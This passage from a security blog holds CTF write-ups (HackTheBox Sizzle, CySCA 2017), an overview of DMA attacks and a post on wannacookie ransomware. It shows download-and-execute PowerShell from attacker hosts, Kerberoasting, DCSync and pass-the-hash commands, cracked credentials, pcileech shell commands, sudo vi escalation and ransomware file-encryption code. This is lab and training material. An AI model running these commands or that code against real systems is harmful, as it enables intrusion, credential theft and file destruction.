[10.10.10.103] 60970 PS C:\\Users\\amanda\\Documents\u0026gt; $ExecutionContext.SessionState.LanguageMode FullLanguage PS C:\\Users\\amanda\\Documents\u0026gt; whoami htb\\amanda As we can see above, we now have a shell with FullLanguage mode enabled! Now we can import PowerView again:\nPS C:\\Users\\amanda\\Documents\u0026gt; iex (new-object net.webclient).DownloadString(\u0026#39;http://10.10.15.30:8081/PowerView.ps1\u0026#39;) To use Invoke-Kerberoast, it\u0026rsquo;s important that our current shell has amanda\u0026rsquo;s kerberos token in memory so that it can be used to request tickets from the domain controller. We run the following commands to perform the kerberoast attack:\nPS C:\\Users\\amanda\\Documents\u0026gt; $SecPassword = ConvertTo-SecureString \u0026#39;Ashare1972\u0026#39; -AsPlainText -Force PS C:\\Users\\amanda\\Documents\u0026gt; $Cred = New-Object System.Management.Automation.PSCredential(\u0026#39;HTB.LOCAL\\amanda\u0026#39;, $SecPassword) PS C:\\Users\\amanda\\Documents\u0026gt; Invoke-UserImpersonation -Credential $Cred PS C:\\Users\\amanda\\Documents\u0026gt; Invoke-Kerberoast -OutputFormat Hashcat | fl Again it should be noted that we need a special version of PowerView which includes Invoke-UserImpersonation and Invoke-Kerberoast as found here. An example of using Invoke-UserImpersonation can be found on line 2065. The output of Invoke-Kerberoast returns us a kerberos ticket signed with mrlky\u0026rsquo;s hash:\nPS C:\\Users\\amanda\\Documents\u0026gt; Invoke-Kerberoast -OutputFormat Hashcat | fl SamAccountName : mrlky DistinguishedName : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL ServicePrincipalName : http/sizzle Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *506FB86544C2EE265DC9AA32129D4294$9472892CFAD15F5B2604A2F388EFE8BD80E9BE8FA74D6ED40A122475CC18F53F86F536A34544A9B5878E26DE76B309D54A47F594085793EBCB78B4CF444EBE8B8942192773E6FAE540FF2EF5366FF701007F69A9D64C5BD9D820BD9610EFA87A \u0026lt;-----snip-----\u0026gt; I decided to use the -OutputFormat Hashcat option as I found it easier to crack the hash with hashcat. However, I have to edit the hash a little bit, and looking at hashcat\u0026rsquo;s list of example hashes shows us the format hashcat expects. So we edit the starting of the hash as follows, and then run hashcat to crack it:\n$ cat hashcat-hash $krb5tgs$23$*user$realm$test/spn*$506FB86544C2EE265DC9AA32129D4294$9472892CFAD15F5B2604A2F388EFE8BD80E9BE8FA74D6ED40A12247 \u0026lt;-----snip-----\u0026gt; $ hashcat -m 13100 hashcat-hash /usr/share/wordlists/rockyou.txt --force $krb5tgs$23$*user$realm$test/spn*$506fb86544c2ee265dc9aa32129d4294$9472892cfad15f5b2604a2f388efe8bd80e9be8fa74d6ed40a12247 \u0026lt;-----snip-----\u0026gt; 2f9dc27674a0a5f1ade5990:Football#7 We now have the following creds! mrlky:Football#7\nWe can perform the same steps as we did for amanda to get a shell as mrlky:\ncreate a private key and CSR using openssl login to the /certsrv portal and login using mrlky\u0026rsquo;s credentials submit the CSR and get back a certificate showing that the private key is signed by the certificate server use the winrm ruby library to get a shell as mrlky $ cat shell-winrm-mrlky.rb require \u0026#39;winrm\u0026#39; opts = { endpoint: \u0026#39;https://10.10.10.103:5986/wsman\u0026#39;, transport: :ssl, :client_cert =\u0026gt; \u0026#39;mrlky.cer\u0026#39;, :client_key =\u0026gt; \u0026#39;mrkly.key\u0026#39;, :no_ssl_peer_verification =\u0026gt; true } command=\u0026#34;\u0026#34; conn = WinRM::Connection.new(opts) conn.shell(:powershell) do |shell| until command == \u0026#34;exit\\n\u0026#34; do print \u0026#34;PS \u0026gt; \u0026#34; command = gets output = shell.run(command) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end end puts \u0026#34;Exiting with code #{output.exitcode}\u0026#34; end Running this ruby script gets us a shell from which we can retrieve user.txt:\n$ ruby shell-winrm-mrlky.rb PS \u0026gt; whoami htb\\mrlky PS \u0026gt; pwd Path ---- C:\\Users\\mrlky\\Desktop PS \u0026gt; type user.txt a6ca1f8************************* FINALLY! :D\nPrivilege Escalation via DCSync # So, let\u0026rsquo;s now move on to privesc!\nThere are a couple of scripts we can try to look for Windows privilege escalation vectors e.g. PowerUp, BloodHound / SharpHound, or JAWS. PowerUp is for a local machine, while BloodHound is useful for privilege escalating in a domain environment. JAWS is a Windows enumeration script. As PowerUp didn\u0026rsquo;t find anything useful for me, I\u0026rsquo;ll skip to how I got BloodHound working:\nBloodHound requires us to first gather information from the compromised host. A tool called SharpHound includes scripts for gathering this information and can be found here.\nWe use our FullLanguage mode shell to import this ingestor in memory and run it:\nPS C:\\Users\\mrlky.HTB\\Documents\u0026gt; iex (new-object net.webclient).DownloadString(\u0026#39;http://10.10.15.30:8081/BloodHound/Ingestors/SharpHound.ps1\u0026#39;) PS C:\\Users\\mrlky.HTB\\Documents\u0026gt; Invoke-BloodHound Unfortunately, our shell just crashes! The script seems to fail silently in the background and doesn\u0026rsquo;t produce any files on the filesystem.\nEven trying powershell -v2 failed us, however the error below seems to be caused by a bug in the SharpHound script itself:\n$ ruby shell-winrm-mrlky.rb PS \u0026gt; powershell -version 2 -command \u0026#34;IEX(New-Object Net.WebClient).DownloadString(\u0026#39;http://10.10.15.30:8081/BloodHound/Ingestors/SharpHound.ps1\u0026#39;); Invoke-BloodHound\u0026#34; powershell.exe : Invoke : Exception calling \u0026#34;Invoke\u0026#34; with \u0026#34;2\u0026#34; argument(s): \u0026#34;Attempted to read or write protected memory. This is often an indication that other memory is corrupt.\u0026#34; As this isn\u0026rsquo;t working, I started looking for other versions of SharpHound and stumbled across this one hosted in hak5\u0026rsquo;s github repo. This script worked using powershell -v2 for bypassing constrained mode:\nPS \u0026gt; powershell -version 2 -command \u0026#34;IEX(New-Object Net.WebClient).DownloadString(\u0026#39;http://10.10.15.30:8081/bashbunny-payloads/payloads/library/credentials/Bunnyhound/SharpHound.ps1\u0026#39;); Invoke-BloodHound -CollectionMethod All\u0026#34; Initializing BloodHound at 9:17 PM on 3/25/2019 Starting Default enumeration for HTB.LOCAL Status: 57 objects enumerated (+57 5.181818/s --- Using 73 MB RAM ) Finished enumeration for HTB.LOCAL in 00:00:11.7898754 \u0026lt;-----snip-----\u0026gt; Great! We now have a bunch of CSV files as output showing us useful information about the Active Directory environment:\nPS \u0026gt; ls Directory: C:\\Users\\mrlky\\Downloads Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/28/2019 2:18 AM 38482 acls.csv -a---- 3/28/2019 2:18 AM 5931 BloodHound.bin -a---- 3/28/2019 2:18 AM 229 computer_props.csv -a---- 3/28/2019 2:18 AM 354 container_gplinks.csv -a---- 3/28/2019 2:18 AM 1300 container_structure.csv -a---- 3/28/2019 2:18 AM 2359 group_membership.csv -a---- 3/28/2019 2:18 AM 185 local_admins.csv -a---- 3/28/2019 2:18 AM 61 sessions.csv -a---- 3/28/2019 2:18 AM 920 user_props.csv Having a look at the ACLs file, we can filter for the current user we have and see what access they have:\nPS \u0026gt; type acls.csv | findstr MRLKY MRLKY@HTB.LOCAL,user,DOMAIN ADMINS@HTB.LOCAL,group,Owner,,AccessAllowed,False, MRLKY@HTB.LOCAL,user,DOMAIN ADMINS@HTB.LOCAL,group,GenericAll,,AccessAllowed,False, MRLKY@HTB.LOCAL,user,Account Operators@HTB.LOCAL,GROUP,GenericAll,,AccessAllowed,False, MRLKY@HTB.LOCAL,user,ENTERPRISE ADMINS@HTB.LOCAL,group,GenericAll,,AccessAllowed,True, MRLKY@HTB.LOCAL,user,Administrators@HTB.LOCAL,GROUP,WriteOwner,,AccessAllowed,True, MRLKY@HTB.LOCAL,user,Administrators@HTB.LOCAL,GROUP,WriteDacl,,AccessAllowed,True, HTB.LOCAL,domain,MRLKY@HTB.LOCAL,user,ExtendedRight,DCSync,,False, HTB.LOCAL,domain,MRLKY@HTB.LOCAL,user,ExtendedRight,GetChanges,,False, HTB.LOCAL,domain,MRLKY@HTB.LOCAL,user,ExtendedRight,GetChangesAll,,False, From the above, we see three special ExtendedRights that have been allocated to our user! Specifically, the GetChanges Access Control Entry, the GetChangesAll entry and the DCSync entry.\nThe one that stands out straight away is DCSync! Using DCSync, which effectively \u0026ldquo;impersonates\u0026rdquo; a Domain Controller, we can request account password data from the targeted Domain Controller. Effectively, this access allows us to replicate the data from a domain controller (hence \u0026ldquo;sync\u0026rdquo;). We can use the Invoke-DCSync script to utilise this feature:\nPS \u0026gt; powershell -version 2 -command \u0026#34;IEX(New-Object Net.WebClient).DownloadString(\u0026#39;http://10.10.15.30:8081/Invoke-DCSync.ps1\u0026#39;); Invoke-DCSync | Format-Table -Wrap\u0026#34; \u0026lt;-----snip-----\u0026gt; Domain User ID Hash ------ ---- -- ---- HTB.LOCAL krbtgt 502 296ec447eee58283143efbd5d39408c8 HTB.LOCAL Administrator 500 f6b7160bfc91823792e0ac3a162c9267 HTB.LOCAL Guest 501 - HTB.LOCAL amanda 1104 7d0516ea4b6ed084f3fdf71c47d9beb3 HTB.LOCAL mrlky 1603 bceef4f6fe9c026d1d8dec8dce48adef HTB.LOCAL sizzler 1604 d79f820afad0cbc828d79e16a6f890de WOOT! We now have the hashes for each user! And we use Administrator\u0026rsquo;s hash to get root.txt:\n$ wmiexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 Administrator@10.10.10.103 Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\\\u0026gt;whoami htb\\administrator C:\\Users\\administrator\\Desktop\u0026gt;type root.txt 91c5849************************* All done! What a learning experience! Thank you to @mrb3n and @lkys37en for such an amazing box.\nI hope you all enjoyed the write-up!\nLive and Learn!\nMany tools for Pass-The-Hash attacks: https://www.hacklikeapornstar.com/all-pth-techniques/\nCommon Active Directory Attacks: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md\nP.S. As an alternative, I also used Invoke-Mimikatz to utilise the DCSync feature to extract the Administrator\u0026rsquo;s hash. The version of the script I used can be found here, although I had a few problems with it. Specifically, the following two articles helped me fix the bugs I was having:\nAmbiguous match found error solution AddressWidth cannot be found error solution Once I had these lines fixed, I ran the following commands from my FullLanguage mode powershell shell and got Administrator\u0026rsquo;s hash:\nPS C:\\Users\\mrlky.HTB\\Documents\u0026gt; iex (new-object net.webclient).DownloadString(\u0026#34;http://10.10.12.151:8081/Invoke-Mimikatz.ps1\u0026#34;) PS C:\\Users\\mrlky.HTB\\Documents\u0026gt; Invoke-Mimikatz -Command \u0026#39;\u0026#34;lsadump::dcsync /user:Administrator\u0026#34;\u0026#39; ","date":"28 January 2023","externalUrl":null,"permalink":"/posts/hack-the-box-sizzle/","section":"Posts","summary":"My write-up for the HackTheBox box named Sizzle","title":"HackTheBox Write-up: Sizzle","type":"posts"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/life/","section":"Tags","summary":"","title":"Life","type":"tags"},{"content":"This post is inspired by @marcing, author of pentests.pl. Thanks for your presentation Marcin!\nDMA or Direct Memory Access attacks involve using hardware components to directly access a computer\u0026rsquo;s RAM (Random Access Memory) without needing to go through the CPU. This functionality is provided for performance reasons as bypassing the CPU saves time when fetching data from and writing data to RAM.\nIf we are able to utilise DMA to directly access RAM, we may be able to completely compromise a machine without needing to authenticate to it first. The researcher most well known for research on these attacks is Ulf Frisk, who has some amazing presentations on the internet on this topic e.g. here.\nA DMA attack compromises of hardware, software, targets, and the steps involved in the process. Let\u0026rsquo;s start with the hardware:\nPCI (Peripheral Component Interconnect) is a local computer bus for attaching hardware devices in a computer. This basically just means it is a standard for allowing you to connect hardware devices to the inner workings of a computer e.g. graphics cards, hard drives, SSDs, Wi-Fi etc. PCIe is a serial computer expansion bus standard which extends on PCI and is much faster for data transfer. There are a bunch of other standards like mini PCIe, mini SATA and M2 (which replaced mini SATA).\nTo connect to a PCIe bus, there are multiple hardware based options, including FPGA based options and USB3380 boards. A list of supported FPGA devices can be found here. The required drivers for using a Windows attack machine with a PCIe connection to the Victim can be found here. You may also need some adapters to connect your hardware devices to the Victim, and a list of them can be found here.\nThe most common software used for PCI based attacks is called pcileech by the same researcher, and full source code for it can be found here. There is a similar attack for FireWire / Thunderbolt interfaces (which is also based on PCI), and the most common software used for this is called Inception, found here. The following video (not mine) is a demonstration of Inception in action:\nSo, what can you do with DMA attacks?\nThe target may be a linux, mac, or Windows based machine. With DMA attacks, most commonly you can read / write to and from memory. This means you basically own the Victim machine. You can mount the live RAM as a file on your attacker machine and see all the contents, you can execute kernel code on the target system, you can spawn a system shell and other executables, you can pull and push files, and you can patch / unlock machines to remove password requirements.\nThe Steps involved in a DMA attack include:\nOpening the Victim machine and removing the battery Finding an empty PCIe slot or emptying a currently used slot Booting up the Victim and connecting it to a hardware memory acquisition device e.g. the USB3380-EVB From Windows, you can run commands such as pcileech.exe testmemread, pcileech.exe dump, pcileech.exe kmload -kmd win10_x64 and spawn a system shell using pcileech.exe wx64_pscmd -kmd 0xXXXXX000. Note that the kernel module load function injects a module into RAM which utilises HAL.dll. This DLL is a file used by Windows for communication with hardware components (stands for Hardware Abstraction Layer). It is usually loaded into memory with a static virtual and physical memory address in windows kernel memory, and so it can be overridden by pcileech to perform our own actions first and then continue its execution. Profit Kill AV drivers, leave a backdooor, run DOOM To protect yourself, here are common mitigations:\nPhysical security of hardware interfaces that support DMA Recent versions of Microsoft Windows require drivers to be digitally signed by Microsoft, which aims to prevent any non-signed drivers from being installed Recent Linux kernel versions allow you to disable FireWire Using an IOMMU unit to only allow certain devices to access memory. This is also utilised in Windows 10 but unfortunately doesn\u0026rsquo;t work for all DMA attacks. Never store sensitive data unencrypted RAM (glhf) Cya next time!\nLive and Learn!\nUri Frisk\u0026rsquo;s blog: http://blog.frizk.net/\n","date":"28 January 2023","externalUrl":null,"permalink":"/posts/dma-attacks/","section":"Posts","summary":"Learn about DMA attacks and how to protect yourself against them","title":"Overview of DMA attacks","type":"posts"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/pci/","section":"Tags","summary":"","title":"Pci","type":"tags"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/principles/","section":"Tags","summary":"","title":"Principles","type":"tags"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/sizzle/","section":"Tags","summary":"","title":"Sizzle","type":"tags"},{"content":"","date":"30 March 2019","externalUrl":null,"permalink":"/tags/aes/","section":"Tags","summary":"","title":"AES","type":"tags"},{"content":"","date":"30 March 2019","externalUrl":null,"permalink":"/tags/powershell/","section":"Tags","summary":"","title":"PowerShell","type":"tags"},{"content":"","date":"30 March 2019","externalUrl":null,"permalink":"/tags/ransomware/","section":"Tags","summary":"","title":"Ransomware","type":"tags"},{"content":"I really enjoyed this year\u0026rsquo;s SANS Holiday Hack (2018-19)! There were many great challenges, and many things to learn.\nMy favourite challenge was a ransomware based challenge where we were asked to analyse a live malware sample which was based off the WannaCry ransomware.\nThe malware was in the form of a word document (.docm) with a macro inside it that executed PowerShell. Once you decode the PowerShell code and debug it, you see functions provided for encrypting and decrypting files. Not only is this code super interesting, but also helps show how a well designed ransomware works. Although I don\u0026rsquo;t condone the use of ransomware, I find it has an interesting problem with an even more interesting solution.\nThe problems that ransomware creators have:\nThe ransomware should be able to encrypt files offline, while still being able to decrypt them if the software is back online The key used for encrypting should not be the same as the key used for decrypting. If it is the same, you have to protect it in some way so that it\u0026rsquo;s not easily retrievable after the encryption process has finished. The algorithms used should be sound, and the key lengths large The encryption process should be fast to encrypt as many files as quickly as possible when run Ransomware creators may want to offer a service where they are are provided the money and want to provide the user with the decryption key to get back their data The solution:\nUse symmetric cryptography for encryption and decryption of files. The key is generated on the compromised host. Use asymmetric cryptography to encrypt the symmetric encryption key. Specifically, the public key is used to encrypt it, and the private key is stored and protected on the ransomware author\u0026rsquo;s machine. When the ransomware is finished running, the symmetric key is deleted from memory while the encrypted version of this key is kept for future decryption When decryption is required, use the asymmetric decryption key to decrypt the symmetric encryption key For people who like pictures, here\u0026rsquo;s a good simple explanation of how WannaCry works: https://sensorstechforum.com/wp-content/uploads/2017/05/sensorstechforum-remove-file-encryption-of-wannacry-2-0-ransomware.jpg\nThe benefits of the solution:\nSymmetric crypto is faster, but has the drawback that the encryption and decryption key is the same The ransomware does not need to be online as the key used for encryption is generated offline Asymmetric crypto protects the symmetric encryption key, and makes it easy for the ransomware author to decrypt it with their private key The ransomware authors do not need access to the compromised host to provide the decryption key The cipher used in the SANS Holiday Hack Ransomware challenge was AES. The codebase in the ransomware included code for both encrypting and decrypting files.\nThe following is the powershell code provided for encrypting and decrypting files for the wannacookie ransomware (the ransomware provided in the SANS Holiday Hack challenges). It includes a $enc_it parameter to switch between encrypting and decrypting. I have also provided the $key parameter which is the actual key used to encrypt Alabaster\u0026rsquo;s elf database in the challenge.\nfunction H2B { param($HX); $HX = $HX -split \u0026#39;(..)\u0026#39; | Where-Object { $_ }; foreach ($value in $HX) { [Convert]::ToInt32($value,16) } }; $key = \u0026#34;fbcfc121915d99cc20a3d3d5d84f8308\u0026#34;; $key = $(H2B $key); $file = gci C:\\Users\\Test\\Documents\\alabaster_passwords.elfdb.wannacookie; #[byte[]]$key = $key; $Suffix = \u0026#34;`.wannacookie\u0026#34;; [System.Reflection.Assembly]::LoadWithPartialName(\u0026#39;System.Security.Cryptography\u0026#39;); [System.Int32]$KeySize = $key.Length * 8; $AESP = New-Object \u0026#39;System.Security.Cryptography.AesManaged\u0026#39;; $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC; $AESP.BlockSize = 128; $AESP.KeySize = $KeySize; $AESP.Key = $key; $FileSR = New-Object System.IO.FileStream ($File,[System.IO.FileMode]::Open); if ($enc_it) { $DestFile = $File + $Suffix } else { $DestFile = ($File -replace $Suffix) } ; $FileSW = New-Object System.IO.FileStream ($DestFile,[System.IO.FileMode]::Create); if ($enc_it) { $AESP.GenerateIV(); $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length),0,4); $FileSW.Write($AESP.IV,0,$AESP.IV.Length); $Transform = $AESP.CreateEncryptor() } else { [Byte[]]$LenIV = New-Object Byte[] 4; $FileSR.Seek(0,[System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($LenIV,0,3) | Out-Null; [int]$LIV = [System.BitConverter]::ToInt32($LenIV,0); [Byte[]]$IV = New-Object Byte[] $LIV; $FileSR.Seek(4,[System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($IV,0,$LIV) | Out-Null; $AESP.IV = $IV; $Transform = $AESP.CreateDecryptor() } ; $CryptoS = New-Object System.Security.Cryptography.CryptoStream ($FileSW,$Transform,[System.Security.Cryptography.CryptoStreamMode]::Write); [int]$Count = 0; [int]$BlockSzBts = $AESP.BlockSize / 8; [Byte[]]$Data = New-Object Byte[] $BlockSzBts; do { $Count = $FileSR.Read($Data,0,$BlockSzBts); $CryptoS.Write($Data,0,$Count) } while ($Count -gt 0); $CryptoS.FlushFinalBlock(); $CryptoS.Close(); $FileSR.Close(); $FileSW.Close(); Clear-Variable -Name \u0026#34;key\u0026#34;; Remove-Item $File Big thanks to the SANS Holiday Hack organisers for providing a great learning experience!\nCya guys next time!\n","date":"30 March 2019","externalUrl":null,"permalink":"/posts/ransomware-aes-encryption-decryption-using-powershell/","section":"Posts","summary":"How does ransomware use encryption? See an example in PowerShell","title":"Ransomware, AES Encryption and Decryption using PowerShell","type":"posts"},{"content":"","date":"29 March 2019","externalUrl":null,"permalink":"/tags/cysca/","section":"Tags","summary":"","title":"CySCA","type":"tags"},{"content":"I had the privilege of testing the challenges written for CySCA 2017, and I thank the challenge creators for allowing me to test them and learn from them.\nHere, I will show my write-up for the Corporate and IoT challenges which I found really interesting. I hope you enjoy!\nCySCA 2017 Corporate Challenges # Challenge 1: you\u0026rsquo;ve been srved # Usually, the corporate challenges give you a domain name and put you inside the corporate network. In our case, the domain name is tictoc.cysca\nFor the first challenge, we get a clue from the name of the challenge and realise that we have to do some DNS enumeration to get SRV records.\n$ nslookup -type=soa tictoc.cysca Server:\t192.168.5.53 Address:\t192.168.5.53#53 Non-authoritative answer: tictoc.cysca origin = ns.tictoc.cysca mail addr = admin.tictoc.cysca serial = 2017020402 refresh = 28800 retry = 7200 expire = 864000 minimum = 86400 Authoritative answers can be found from: tictoc.cysca\tnameserver = ns.tictoc.cysca. Getting the Start of Authority information from the DNS server, we find out that the nameserver used by tictoc.cysca is ns.tictoc.cysca\nWe can then use dig AXFR to do a DNS zone transfer and get all the information from the DNS server:\n$ host -t axfr tictoc.cysca 172.16.5.53 Trying \u0026#34;tictoc.cysca\u0026#34; Using domain server: Name: 172.16.5.53 Address: 172.16.5.53#53 Aliases: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 24562 ;; flags: qr aa ra; QUERY: 1, ANSWER: 12, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;tictoc.cysca.\tIN\tAXFR ;; ANSWER SECTION: tictoc.cysca.\t86400\tIN\tSOA\tns.tictoc.cysca. admin.tictoc.cysca. 2017020402 28800 7200 864000 86400 tictoc.cysca.\t86400\tIN\tNS\tns.tictoc.cysca. tictoc.cysca.\t86400\tIN\tA\t172.16.5.80 tictoc.cysca.\t86400\tIN\tMX\t0 mail.tictoc.cysca. _flag._udp.tictoc.cysca. 300\tIN\tSRV\t10 10 34532 axfrflag.tictoc.cysca. autodiscover.tictoc.cysca. 300\tIN\tA\t172.16.5.25 axfrflag.tictoc.cysca.\t300\tIN\tA\t172.16.5.174 ftp.tictoc.cysca.\t300\tIN\tA\t172.16.5.103 mail.tictoc.cysca.\t300\tIN\tA\t172.16.5.25 ns.tictoc.cysca.\t300\tIN\tA\t172.16.5.53 www.tictoc.cysca.\t300\tIN\tA\t172.16.5.80 tictoc.cysca.\t86400\tIN\tSOA\tns.tictoc.cysca. admin.tictoc.cysca. 2017020402 28800 7200 864000 86400 Received 331 bytes from 172.16.5.53#53 in 165 ms Using AXFR, we get the AXFR flag in a SRV record\nChallenge 2: Cumulonimbus # In this challenge, we are asked to look first at the FTP server (shown at ftp.tictoc.cysca in the DNS records). So let\u0026rsquo;s use an anonymous connection to the FTP server:\n$ ftp 172.16.5.103 Connected to 172.16.5.103. 220-############################################################################### 220-# _____ _ ________ __ ___ # 220-# |_ _| |/ _/_ _/__\\ / _/ # 220-# | | | | \\__ | || \\/ | \\__ # 220-# |_| |_|\\__/ |_| \\__/ \\__/ # 220-# ___ _____ ___ __ ___ ___ _ _ ___ ___ # 220-# | __|_ _| _,\\ /\u0026#39; _/| __| _ \\| \\ / || __| _ \\ # 220-# | _| | | | v_/ `._`.| _|| v /`\\ V /\u0026#39;| _|| v / # 220-# |_| |_| |_| |___/|___|_|_\\ \\_/ |___|_|_\\ # 220-# # 220-# #####! Do not abuse this service !##### # 220-# #####! all usage is monitored! !##### # 220-# # 220-############################################################################### 220 Name (172.16.5.103:root): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; passive Passive mode on. ftp\u0026gt; ls 227 Entering Passive Mode (172,16,5,103,255,49). 150 Here comes the directory listing. drwxrwx--- 2 ftp ftp 4096 Feb 15 14:18 Documents drwxrwxr-- 7 ftp ftp 4096 Feb 15 10:27 IDE drwxrwxr-- 2 ftp ftp 4096 Jan 13 15:26 Printing drwxrwxr-- 10 ftp ftp 4096 Mar 02 10:15 Software drwxrwx--- 5 ftp ftp 4096 Mar 07 12:53 home drwxrwxr-- 2 ftp ftp 4096 Jan 13 15:26 logs drwxrwxr-- 2 ftp ftp 4096 Mar 06 17:03 tmp 226 Directory send OK. Looking around on the FTP server, we find some interesting files, and download them onto our attacker machine:\nftp\u0026gt; cd Software 250 Directory successfully changed. ftp\u0026gt; ls 227 Entering Passive Mode (172,16,5,103,253,83). 150 Here comes the directory listing. drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:04 7-Zip drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:04 Audacity drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:02 GIMP drwxr-xr-x 2 ftp ftp 4096 Feb 09 16:06 HxD drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:06 Notepad++ drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:05 PuTTY drwxr-xr-x 5 ftp ftp 4096 Feb 09 16:05 VLC drwxr-xr-x 2 ftp ftp 4096 Feb 09 15:56 WinSCP 226 Directory send OK. ftp\u0026gt; cd WinSCP 250 Directory successfully changed. ftp\u0026gt; ls 227 Entering Passive Mode (172,16,5,103,252,165). 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 282968 Feb 07 10:15 WinSCP.com -rw-r--r-- 1 ftp ftp 18901720 Feb 07 10:15 WinSCP.exe -rwxrwxrwx 1 ftp ftp 13854 Mar 02 10:19 WinSCP.ini -rw-r--r-- 1 ftp ftp 37846 Feb 07 10:15 license.txt -rw-r--r-- 1 ftp ftp 361 Feb 07 10:15 readme.txt 226 Directory send OK. ftp\u0026gt; get WinSCP.ini local: WinSCP.ini remote: WinSCP.ini 227 Entering Passive Mode (172,16,5,103,251,49). 150 Opening BINARY mode data connection for WinSCP.ini (13854 bytes). 226 Transfer complete. 13854 bytes received in 0.06 secs (225.3005 kB/s) Note that WinSCP is a software used for securely copying files to and from file servers. If a user chooses to save their password when using the WinSCP software, their passwords may be stored obfuscated in the WinSCP.ini file.\nLooking inside this file, we do see what looks like an obfuscated password:\n$ cat WinSCP.ini | grep -i password= QueueRememberPassword=1 PuttyPassword=0 UseMasterPassword=0 Password=A35C775F17BBDA313F283D2E3B39283A282C7228353F28333F723F252F3F3D0F6C0F282E6C323B7D126C281A301C3B08346C As WinSCP stores this password in a retrievable format, people have already made tools to decode these obfuscated values back to the original password. One such tool is winscppwd, which is described as \u0026ldquo;a simple commmand line tool to recover WinSCP stored passwords\u0026rdquo;. We can run this tool in linux using Wine.\nUsing this tool, we recover the password:\n$ wine winscppwd.exe WinSCP.ini Could not load wine-gecko. HTML rendering will be disabled. Could not load wine-gecko. HTML rendering will be disabled. wine: configuration in \u0026#39;/root/.wine\u0026#39; has been updated. reading WinSCP.ini mctarget@ftp.tictoc.cysca\tS0Str0ng!N0tFl@gTh0 Great! Looks like we got a password we can use for authenticating to the file server!\nUsing the username and password we now have, we SSH into the file server:\n$ ssh mctarget@172.16.5.103 mctarget@ftp:~$ uname -a Linux ftp 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u2 (2017-03-07) x86_64 GNU/Linux Our next step is to try and get root on this machine, so we enumerate it using common commands for finding privilege escalation vectors e.g. from g0tmi1k\u0026rsquo;s blog. After some enumeration, we find some interesting output from sudo -l:\nmctarget@ftp$ sudo -l Matching Defaults entries for mctarget on ftp: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User mctarget may run the following commands on ftp: (ALL : ALL) !ALL (root) /usr/bin/vi /var/ftproot/[A-Za-z0-9_-]*, !/usr/bin/vi */..*, !/usr/bin/vi /var/ftproot/, !/usr/bin/vi */., !/usr/bin/vi * * Specifically, looks like our user, mctarget, is able to execute vi as root on certain files. Additionally, there are some wildcards used to specify which files we can open with vi with root privileges. There are a few ways I can think of to use this configuration to allow us to privilege escalate:\nOpen a file within /var/ftproot/ using vi and then use :sh to escape vi and get a shell as root Creating a symlink to /etc/passwd or /etc/shadow within /var/ftproot/, open it in vi, and then remove the password for the root user allowing us to login with a blank password Use the above method but instead of removing the password, add a user to /etc/passwd Let\u0026rsquo;s just use the simplest method, open a random file within /var/ftproot, and then use :sh to escape vi:\nmctarget@ftp:/var/ftproot$ sudo /usr/bin/vi /var/ftproot/testfile :sh root@ftp:/var/ftproot# id uid=0(root) gid=0(root) groups=0(root),1001(ftpusers) root@ftp:/var/ftproot# cd /root root@ftp:~# cat flag.txt FLAG(9332) CONTACT EXERCISE CONTROL And that\u0026rsquo;s the flag for the second corporate challenge!\nChallenge 3: Get the HASH find the Treasure MAPI # In this challenge, we are told that another user on the FTP server has a SMB file share mounted. Additionally, we have to compromise the mail server (also seen in the original DNS results as mail.tictoc.cysca).\nWe find an Outlook WebApp server running on the mail server at: https://172.16.5.25/owa/auth/logon.aspx\nTo get credentials for this server, we first look to confirm that an SMB connection is already established on the server:\nroot@ftp:/home/mctarget# netstat -antup | grep smbd tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 729/smbd tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 729/smbd tcp 0 0 172.16.5.103:445 10.10.5.100:63064 ESTABLISHED 878/smbd tcp6 0 0 :::445 :::* LISTEN 729/smbd tcp6 0 0 :::139 :::* LISTEN 729/smbd We can see that a connection is established to 172.16.5.103!\nNext, to dump SAMBA hashes locally on the FTP machine, we can use a tool called pdbedit as follows:\nroot@ftp:/home/mctarget# pdbedit -L -w mctarget:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:74D9349DA6D684E0D9ADC303DB64B9EA:[DU ]:LCT-58AECC49: madisonw:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:2B2AC2D1C7C8FDA6CEA80B5FAD7563AA:[U ]:LCT-58D74D46: Note that pdbedit is an in-built samba tool to dump NT hashes, as mentioned here.\nNow we have credentials for another user! Googling the user\u0026rsquo;s hash or using john / hashcat to crack it, we find that the NT hash 